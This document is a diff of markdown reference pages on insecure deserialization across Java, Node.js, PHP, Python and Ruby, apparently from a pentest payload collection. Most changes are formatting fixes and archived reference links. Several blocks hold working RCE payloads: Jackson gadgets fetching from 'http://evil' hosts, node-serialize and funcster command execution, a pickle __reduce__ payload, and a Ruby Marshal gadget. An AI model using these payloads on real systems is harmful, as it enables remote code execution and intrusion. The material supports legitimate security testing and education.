+          "yv66v[JAVA_CLASS_B64_ENCODED]AIAEw=="
+        ],
+        "transletName": "a.b",
+        "outputProperties": {}
+      }
+    ]
+  }
+    ```
+
+* **CVE-2017-17485**
+
+  ```json
+  {
+    "param": [
+      "org.springframework.context.support.FileSystemXmlApplicationContext",
+      "http://evil/spel.xml"
+    ]
+  }
+  ```
+
+* **CVE-2019-12384**
+
+  ```json
+  [
+    "ch.qos.logback.core.db.DriverManagerConnectionSource", 
+    {
+      "url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"
+    }
+  ]
+  ```
+
+* **CVE-2020-36180**
+
+  ```json
+  [
+    "org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS",
+    {
+      "url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://evil:3333/exec.sql'"
+    }
+  ]
+  ```
+
+* **CVE-2020-9548**
+
+    ```json
+    [
+      "br.com.anteros.dbcp.AnterosDBCPConfig",
+      {
+        "healthCheckRegistry": "ldap://{{interactsh-url}}"
+      }
+    ]
+    ```
 
 ## YAML Deserialization
 
+* [SnakeYAML](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#snakeyaml-yaml)
+* [jYAML](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#jyaml-yaml)
+* [YamlBeans](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#yamlbeans-yaml)
+
+**SnakeYAML**:
+
 SnakeYAML is a popular Java-based library used for parsing and emitting YAML (YAML Ain't Markup Language) data. It provides an easy-to-use API for working with YAML, a human-readable data serialization standard commonly used for configuration files and data exchange.
 
 ```yaml
@@ -146,7 +236,6 @@ SnakeYAML is a popular Java-based library used for parsing and emitting YAML (YA
 ]
 ```
 
-
 ## ViewState
 
 In Java, ViewState refers to the mechanism used by frameworks like JavaServer Faces (JSF) to maintain the state of UI components between HTTP requests in web applications. There are 2 major implementations:
@@ -159,7 +248,6 @@ In Java, ViewState refers to the mechanism used by frameworks like JavaServer Fa
 * [joaomatosf/jexboss](https://github.com/joaomatosf/jexboss) - JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool
 * [Synacktiv-contrib/inyourface](https://github.com/Synacktiv-contrib/inyourface) - InYourFace is a software used to patch unencrypted and unsigned JSF ViewStates.
 
-
 ### Encoding
 
 | Encoding      | Starts with |
@@ -167,7 +255,6 @@ In Java, ViewState refers to the mechanism used by frameworks like JavaServer Fa
 | base64        | `rO0`       |
 | base64 + gzip | `H4sIAAA`   |
 
-
 ### Storage
 
 The `javax.faces.STATE_SAVING_METHOD` is a configuration parameter in JavaServer Faces (JSF). It specifies how the framework should save the state of a component tree (the structure and data of UI components on a page) between HTTP requests.
@@ -177,7 +264,6 @@ The storage method can also be inferred from the viewstate representation in the
 * **Server side** storage: `value="-XXX:-XXXX"`
 * **Client side** storage: `base64 + gzip + Java Object`
 
-
 ### Encryption
 
 By default MyFaces uses DES as encryption algorithm and HMAC-SHA1 to authenticate the ViewState. It is possible and recommended to configure more recent algorithms like AES and HMAC-SHA256.
@@ -206,23 +292,24 @@ Common secrets from the [documentation](https://cwiki.apache.org/confluence/disp
 | AES CBC              | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` |
 | AES CBC IV           | `NzY1NDMyMTA3NjU0MzIxMA==`         |
 
-
 * **Encryption**: Data -> encrypt -> hmac_sha1_sign -> b64_encode -> url_encode -> ViewState
 * **Decryption**: ViewState -> url_decode -> b64_decode -> hmac_sha1_unsign -> decrypt -> Data
 
-
 ## References
 
-- [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
+* [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://web.archive.org/web/20230927142712/https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
-- [Hack The Box - Arkham - 0xRick - August 10, 2019](https://0xrick.github.io/hack-the-box/arkham/)
+* [Exploiting the Jackson RCE: CVE-2017-7525 - Adam Caudill - October 4, 2017](https://web.archive.org/web/20260303123815/https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/)
-- [How I found a $1500 worth Deserialization vulnerability - Ashish Kunwar - August 28, 2018](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
+* [Hack The Box - Arkham - 0xRick - August 10, 2019](https://web.archive.org/web/20251125134359/https://0xrick.github.io/hack-the-box/arkham/)
-- [Jackson CVE-2019-12384: anatomy of a vulnerability class - Andrea Brancaleoni - July 22, 2019](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
+* [How I found a $1500 worth Deserialization vulnerability - Ashish Kunwar - August 28, 2018](https://web.archive.org/web/20250918030712/https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
-- [Java Deserialization in ViewState - Haboob Team - December 23, 2020](https://www.exploit-db.com/docs/48126)
+* [Jackson CVE-2019-12384: anatomy of a vulnerability class - Andrea Brancaleoni - July 22, 2019](https://web.archive.org/web/20190724143322/https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
-- [Java-Deserialization-Cheat-Sheet - Aleksei Tiurin - May 23, 2023](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
+* [Jackson gadgets - Anatomy of a vulnerability - Andrea Brancaleoni - 22 Jul 2019](https://web.archive.org/web/20190724143322/https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
-- [JSF ViewState upside-down - Renaud Dubourguais, Nicolas Collignon - March 15, 2016](https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf)
+* [Jackson Polymorphic Deserialization - FasterXML - July 23, 2020](https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization)
-- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
+* [Java Deserialization Cheat Sheet - Aleksei Tiurin - May 23, 2023](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
-- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
+* [Java Deserialization in ViewState - Haboob Team - December 23, 2020](https://web.archive.org/web/20250909154616/https://www.exploit-db.com/docs/48126)
-- [On Jackson CVEs: Don’t Panic — Here is what you need to know - cowtowncoder - December 22, 2017](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
+* [JSF ViewState upside-down - Renaud Dubourguais, Nicolas Collignon - March 15, 2016](https://web.archive.org/web/20160315020109/http://synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf)
-- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin (@artsploit) - June 29, 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
+* [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://web.archive.org/web/20181217131654/https://alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
-- [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com - July 5, 2020](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
+* [On Jackson CVEs: Don’t Panic — Here is what you need to know - cowtowncoder - December 22, 2017](https://web.archive.org/web/20201207032909/https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062)
-- [Understanding & practicing java deserialization exploits - Diablohorn - September 9, 2017](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
+* [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin (@artsploit) - June 29, 2021](https://web.archive.org/web/20260210022416/https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
+* [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com - July 5, 2020](https://web.archive.org/web/20250604040229/https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
+* [Understanding & practicing java deserialization exploits - Diablohorn - September 9, 2017](https://web.archive.org/web/20250604034046/https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
+* [Friday the 13th JSON Attacks - Alvaro Muñoz & Oleksandr Mirosh - July 28, 2017](https://web.archive.org/web/20170728193005/https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)

Insecure Deserialization/Node.md

@@ -2,7 +2,6 @@
 
 > Node.js deserialization refers to the process of reconstructing JavaScript objects from a serialized format, such as JSON, BSON, or other formats that represent structured data. In Node.js applications, serialization and deserialization are commonly used for data storage, caching, and inter-process communication.
 
-
 ## Summary
 
 * [Methodology](#methodology)
@@ -10,7 +9,6 @@
     * [funcster](#funcster)
 * [References](#references)
 
-
 ## Methodology
 
 * In Node source code, look for:
@@ -19,12 +17,12 @@
     * `serialize-to-js`
     * `funcster`
 
-
 ### node-serialize
 
 > An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the `unserialize()` function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).
 
 1. Generate a serialized payload
+
     ```js
     var y = {
         rce : function(){
@@ -35,12 +33,14 @@
     var serialize = require('node-serialize');
     console.log("Serialized: \n" + serialize.serialize(y));
     ```
+
 2. Add bracket `()` to force the execution
+
     ```js
     {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()"}
     ```
-3. Send the payload
 
+3. Send the payload
 
 ### funcster
 
@@ -48,9 +48,8 @@
 {"rce":{"__js_function":"function(){CMD=\"cmd /c calc\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()"}}
 ```
 
-
 ## References
 
-- [CVE-2017-5941 - National Vulnerability Database - February 9, 2017](https://nvd.nist.gov/vuln/detail/CVE-2017-5941)
+* [CVE-2017-5941 - National Vulnerability Database - February 9, 2017](https://web.archive.org/web/20190820172715/https://nvd.nist.gov/vuln/detail/CVE-2017-5941)
-- [Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941) - Ajin Abraham - October 31, 2018](https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)
+* [Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941) - Ajin Abraham - October 31, 2018](https://web.archive.org/web/20181031111654/https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)
-- [NodeJS Deserialization - gonczor - January 8, 2020](https://blacksheephacks.pl/nodejs-deserialization/)
+* [NodeJS Deserialization - gonczor - January 8, 2020](https://web.archive.org/web/20240530025137/https://blacksheephacks.pl/nodejs-deserialization/)

Insecure Deserialization/PHP.md

@@ -2,7 +2,6 @@
 
 > PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
 
-
 ## Summary
 
 * [General Concept](#general-concept)
@@ -13,7 +12,6 @@
 * [Real World Examples](#real-world-examples)
 * [References](#references)
 
-
 ## General Concept
 
 The following magic methods will help you for a PHP Object injection
@@ -24,7 +22,6 @@ The following magic methods will help you for a PHP Object injection
 
 Also you should check the `Wrapper Phar://` in [File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phar) which use a PHP object injection.
 
-
 Vulnerable code:
 
 ```php
@@ -54,16 +51,17 @@ Vulnerable code:
 Craft a payload using existing code inside the application.
 
 * Basic serialized data
+
     ```php
     a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
     ```
 
 * Command execution
+
     ```php
     string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
     ```
 
-
 ## Authentication Bypass
 
 ### Type Juggling
@@ -89,7 +87,6 @@ a:2:{s:8:"username";b:1;s:8:"password";b:1;}
 
 Because `true == "str"` is true.
 
-
 ## Object Injection
 
 Vulnerable code:
@@ -125,7 +122,6 @@ We can do an array like this:
 a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}
 ```
 
-
 ## Finding and Using Gadgets
 
 Also called `"PHP POP Chains"`, they can be used to gain RCE on the system.
@@ -150,16 +146,15 @@ Also called `"PHP POP Chains"`, they can be used to gain RCE on the system.
     * `__clone()`: Once the cloning is complete, if a `__clone()` method is defined, then the newly created object's `__clone()` method will be called, to allow any necessary properties that need to be changed. [php.net](https://www.php.net/manual/en/language.oop5.cloning.php#object.clone)
     * `__debugInfo()`: This method is called by `var_dump()` when dumping an object to get the properties that should be shown. If the method isn't defined on an object, then all public, protected and private properties will be shown. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.debuginfo)
 
-
 [ambionics/phpggc](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks:
 
-- Laravel
+* Laravel
-- Symfony
+* Symfony
-- SwiftMailer
+* SwiftMailer
-- Monolog
+* Monolog
-- SlimPHP
+* SlimPHP
-- Doctrine
+* Doctrine
-- Guzzle
+* Guzzle
 
 ```powershell
 phpggc monolog/rce1 'phpinfo();' -s
@@ -179,8 +174,8 @@ A valid PHAR includes four elements:
 3. **File Contents**: Contains the actual files in the archive.
 4. **Signature**(optional): For verifying archive integrity.
 
-
 * Example of a Phar creation in order to exploit a custom `PDFGenerator`.
+
     ```php
     <?php
     class PDFGenerator { }
@@ -212,6 +207,7 @@ A valid PHAR includes four elements:
     ```
 
 * Example of a Phar creation with a `JPEG` magic byte header since there is no restriction on the content of stub.
+
     ```php
     <?php
     class AnyClass {
@@ -237,7 +233,6 @@ A valid PHAR includes four elements:
     $phar->stopBuffering();
     ```
 
-
 ## Real World Examples
 
 * [Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410237)
@@ -245,23 +240,22 @@ A valid PHAR includes four elements:
 * [Vanilla Forums domGetImages getimagesize Unserialize Remote Code Execution Vulnerability (critical) - Steven Seeley](https://hackerone.com/reports/410882)
 * [Vanilla Forums Gdn_Format unserialize() Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/407552)
 
-
 ## References
 
-- [CTF writeup: PHP object injection in kaspersky CTF - Jaimin Gohel - November 24, 2018](https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d)
+* [CTF writeup: PHP object injection in kaspersky CTF - Jaimin Gohel - November 24, 2018](https://web.archive.org/web/20210514112950/https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d)
-- [ECSC 2019 Quals Team France - Jack The Ripper Web - noraj - May 22, 2019](https://web.archive.org/web/20211022161400/https://blog.raw.pm/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web)
+* [ECSC 2019 Quals Team France - Jack The Ripper Web - noraj - May 22, 2019](https://web.archive.org/web/20211022161400/https://blog.raw.pm/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web)
-- [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 1 - Rémi Matasse - September 12, 2023](https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-1)
+* [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 1 - Rémi Matasse - September 12, 2023](https://web.archive.org/web/20230915040126/https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-1)
-- [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 2 - Rémi Matasse - October 11, 2023](https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-2)
+* [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 2 - Rémi Matasse - October 11, 2023](https://web.archive.org/web/20231017130212/https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-2)
-- [Finding PHP Serialization Gadget Chain - DG'hAck Unserial killer - xanhacks - August 11, 2022](https://www.xanhacks.xyz/p/php-gadget-chain/#introduction)
+* [Finding PHP Serialization Gadget Chain - DG'hAck Unserial killer - xanhacks - August 11, 2022](https://web.archive.org/web/20250926045827/https://www.xanhacks.xyz/p/php-gadget-chain/)
-- [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/)
+* [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://web.archive.org/web/20200929143500/https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/)
-- [phar:// deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization)
+* [phar:// deserialization - HackTricks - July 19, 2024](https://web.archive.org/web/20220819225041/https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization)
-- [PHP deserialization attacks and a new gadget chain in Laravel - Mathieu Farrell - February 13, 2024](https://blog.quarkslab.com/php-deserialization-attacks-and-a-new-gadget-chain-in-laravel.html)
+* [PHP deserialization attacks and a new gadget chain in Laravel - Mathieu Farrell - February 13, 2024](https://web.archive.org/web/20240213181951/https://blog.quarkslab.com/php-deserialization-attacks-and-a-new-gadget-chain-in-laravel.html)
-- [PHP Generic Gadget - Charles Fol - July 4, 2017](https://www.ambionics.io/blog/php-generic-gadget-chains)
+* [PHP Generic Gadget - Charles Fol - July 4, 2017](https://www.ambionics.io/blog/php-generic-gadget-chains)
-- [PHP Internals Book - Serialization - jpauli - June 15, 2013](http://www.phpinternalsbook.com/classes_objects/serialization.html)
+* [PHP Internals Book - Serialization - jpauli - June 15, 2013](https://web.archive.org/web/20130615052058/http://www.phpinternalsbook.com:80/classes_objects/serialization.html)
-- [PHP Object Injection - Egidio Romano - April 24, 2020](https://www.owasp.org/index.php/PHP_Object_Injection)
+* [PHP Object Injection - Egidio Romano - April 24, 2020](https://web.archive.org/web/20130313225253/https://www.owasp.org/index.php/PHP_Object_Injection)
-- [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://vkili.github.io/blog/insecure%20deserialization/pop-chains/)
+* [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://web.archive.org/web/20200903232359/https://vkili.github.io/blog/insecure%20deserialization/pop-chains/)
-- [PHP unserialize - php.net - March 29, 2001](http://php.net/manual/en/function.unserialize.php)
+* [PHP unserialize - php.net - March 29, 2001](https://web.archive.org/web/20260219122641/https://www.php.net/manual/en/function.unserialize.php)
-- [POC2009 Shocking News in PHP Exploitation - Stefan Esser - May 23, 2015](https://web.archive.org/web/20150523205411/https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
+* [POC2009 Shocking News in PHP Exploitation - Stefan Esser - May 23, 2015](https://web.archive.org/web/20150523205411/https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
-- [Rusty Joomla RCE Unserialize overflow - Alessandro Groppo - October 3, 2019](https://blog.hacktivesecurity.com/index.php/2019/10/03/rusty-joomla-rce/)
+* [Rusty Joomla RCE Unserialize overflow - Alessandro Groppo - October 3, 2019](https://web.archive.org/web/20241010013739/https://blog.hacktivesecurity.com/index.php/2019/10/03/rusty-joomla-rce/)
-- [TSULOTT Web challenge write-up - MeePwn CTF - Rawsec - July 15, 2017](https://web.archive.org/web/20211022151328/https://blog.raw.pm/en/meepwn-2017-write-ups/#TSULOTT-Web)
+* [TSULOTT Web challenge write-up - MeePwn CTF - Rawsec - July 15, 2017](https://web.archive.org/web/20211022151328/https://blog.raw.pm/en/meepwn-2017-write-ups/#TSULOTT-Web)
-- [Utilizing Code Reuse/ROP in PHP - Stefan Esser - June 15, 2020](http://web.archive.org/web/20200615044621/https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf)
+* [Utilizing Code Reuse/ROP in PHP - Stefan Esser - June 15, 2020](http://web.archive.org/web/20200615044621/https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf)

Insecure Deserialization/Python.md

@@ -10,12 +10,10 @@
     * [PyYAML](#pyyaml)
 * [References](#references)
 
-
 ## Tools
 
 * [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) - Serialized payload for deserialization RCE attack on python driven applications where pickle,PyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data.
 
-
 ## Methodology
 
 In Python source code, look for these sinks:
@@ -25,7 +23,6 @@ In Python source code, look for these sinks:
 * `_pickle.loads`
 * `jsonpickle.decode`
 
-
 ### Pickle
 
 The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.
@@ -46,7 +43,7 @@ auth_token = b64encode(cPickle.dumps(h))
 print("Your Auth Token : {}").format(auth_token)
 ```
 
-The vulnerability is introduced when a token is loaded from an user input. 
+The vulnerability is introduced when a token is loaded from an user input.
 
 ```python
 new_token = raw_input("New Auth Token : ")
@@ -71,6 +68,27 @@ evil_token = b64encode(cPickle.dumps(e))
 print("Your Evil Token : {}").format(evil_token)
 ```
 
+A universal payload can be created by loading `os` at runtime using eval:
+
+```python
+import pickle
+import base64
+
+class RCE:
+    def __reduce__(self):
+        return eval, ("__import__('os').system('whoami')",)
+pickled = pickle.dumps(RCE())
+print(base64.b64encode(pickled).decode())
+```
+
+This approach allows running arbitrary python code, which allows us to use different techniques from code injection:
+
+```python
+__import__('os').system('whoami') # Reflected RCE
+getattr('', __import__('os').popen('whoami').read()) # Error-Based RCE
+1 / (__include__("os").popen("id")._proc.wait() == 0) # Boolean-Based RCE
+__include__("os").popen("id && sleep 5").read() # Time-Based RCE
+```
 
 ### PyYAML
 
@@ -108,11 +126,11 @@ with open('exploit_unsafeloader.yml') as file:
         data = yaml.load(file,Loader=yaml.UnsafeLoader)
 ```
 
-
 ## References
 
-- [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
+* [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://web.archive.org/web/20250501184227/https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
-- [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
+* [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://web.archive.org/web/20260211161939/https://blog.nelhage.com/2011/03/exploiting-pickle/)
-- [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
+* [Python Yaml Deserialization - HackTricks - July 19, 2024](https://web.archive.org/web/20241216145404/https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
-- [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
+* [PyYAML Documentation - PyYAML - April 29, 2006](https://web.archive.org/web/20260219140302/https://pyyaml.org/wiki/PyYAMLDocumentation)
-- [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
+* [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://web.archive.org/web/20250604032318/https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
+* [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)

Insecure Deserialization/README.md

@@ -2,7 +2,6 @@
 
 > Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object - OWASP
 
-
 ## Summary
 
 * [Deserialization Identifier](#deserialization-identifier)
@@ -10,7 +9,6 @@
 * [Labs](#labs)
 * [References](#references)
 
-
 ## Deserialization Identifier
 
 Check the following sub-sections, located in other chapters :
@@ -18,29 +16,29 @@ Check the following sub-sections, located in other chapters :
 * [Java deserialization : ysoserial, ...](Java.md)
 * [PHP (Object injection) : phpggc, ...](PHP.md)
 * [Ruby : universal rce gadget, ...](Ruby.md)
-* [Python : pickle, ...](Python.md)
+* [Python : pickle, PyYAML, ...](Python.md)
-* [YAML : PyYAML, ...](YAML.md)
 * [.NET : ysoserial.net, ...](DotNET.md)
 
-| Object Type     | Header (Hex) | Header (Base64) |
+| Object Type     | Header (Hex)   | Header (Base64) | Indicators       |
-|-----------------|--------------|-----------------|
+|-----------------|----------------|-----------------|------------------|
-| Java Serialized | AC ED        | rO              |
+| .NET ViewState  | `FF 01`        | `/w`            | Commonly found inside hidden inputs around HTML forms |
-| .NET ViewState  | FF 01        | /w              |
+| BinaryFormatter | `0001 0000 00FF FFFF FF01` | `AAEAAAD` | Base64 decode and check for the long `FF FF FF FF` sequence. |
-| Python Pickle   | 80 04 95     | gASV            |
+| Java Serialized | `AC ED`        | `rO`            | Base64 decode and check first bytes. |
-| PHP Serialized  | 4F 3A        | Tz              |
+| PHP Serialized  | `4F 3A`        | `Tz`            | Prefixes like `O:, a:, s:, i:, b:` and length indicators. |
-
+| Python Pickle   | `80 04 95`     | `gASV`          | Text: opcodes like `(lp0, S'Test'`. |
+| Ruby Marshal    | `04 08`        | `BAgK`          | Base64 decode and look for `\x04\x08` at the start. |
 
 ## POP Gadgets
 
 > A POP (Property Oriented Programming) gadget is a piece of code implemented by an application's class, that can be called during the deserialization process.
 
 POP gadgets characteristics:
+
 * Can be serialized
 * Has public/accessible properties
 * Implements specific vulnerable methods
 * Has access to other "callable" classes
 
-
 ## Labs
 
 * [PortSwigger - Modifying serialized objects](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects)
@@ -55,9 +53,8 @@ POP gadgets characteristics:
 * [PortSwigger - Using PHAR deserialization to deploy a custom gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-phar-deserialization-to-deploy-a-custom-gadget-chain)
 * [NickstaDB - DeserLab](https://github.com/NickstaDB/DeserLab)
 
-
 ## References
 
-- [ExploitDB Introduction - Abdelazim Mohammed(@intx0x80) - May 27, 2018](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)
+* [ExploitDB Introduction - Abdelazim Mohammed(@intx0x80) - May 27, 2018](https://web.archive.org/web/20180527082635/https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)
-- [Exploiting insecure deserialization vulnerabilities - PortSwigger - July 25, 2020](https://portswigger.net/web-security/deserialization/exploiting)
+* [Exploiting insecure deserialization vulnerabilities - PortSwigger - July 25, 2020](https://web.archive.org/web/20200725143552/https://portswigger.net/web-security/deserialization/exploiting)
-- [Instagram's Million Dollar Bug - Wesley Wineberg - December 17, 2015](http://www.exfiltrated.com/research-Instagram-RCE.php)
+* [Instagram's Million Dollar Bug - Wesley Wineberg - December 17, 2015](https://web.archive.org/web/20151217194413/http://exfiltrated.com/research-Instagram-RCE.php)

Insecure Deserialization/Ruby.md

@@ -2,14 +2,12 @@
 
 > Ruby deserialization is the process of converting serialized data back into Ruby objects, often using formats like YAML, Marshal, or JSON. Ruby's Marshal module, for instance, is commonly used for this, as it can serialize and deserialize complex Ruby objects.
 
-
 ## Summary
 
 * [Marshal Deserialization](#marshal-deserialization)
 * [YAML Deserialization](#yaml-deserialization)
 * [References](#references)
 
-
 ## Marshal Deserialization
 
 Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
@@ -18,7 +16,6 @@ Script to generate and verify the deserialization gadget chain against Ruby 2.0
 for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
 ```
 
-
 ## YAML Deserialization
 
 Vulnerable code
@@ -88,11 +85,10 @@ Universal gadget for ruby 2.x - 3.x.
           method_id: :resolve 
 ```
 
-
 ## References
 
-- [Ruby 2.X Universal RCE Deserialization Gadget Chain - Luke Jahnke - November 8, 2018](https://www.elttam.com.au/blog/ruby-deserialization/)
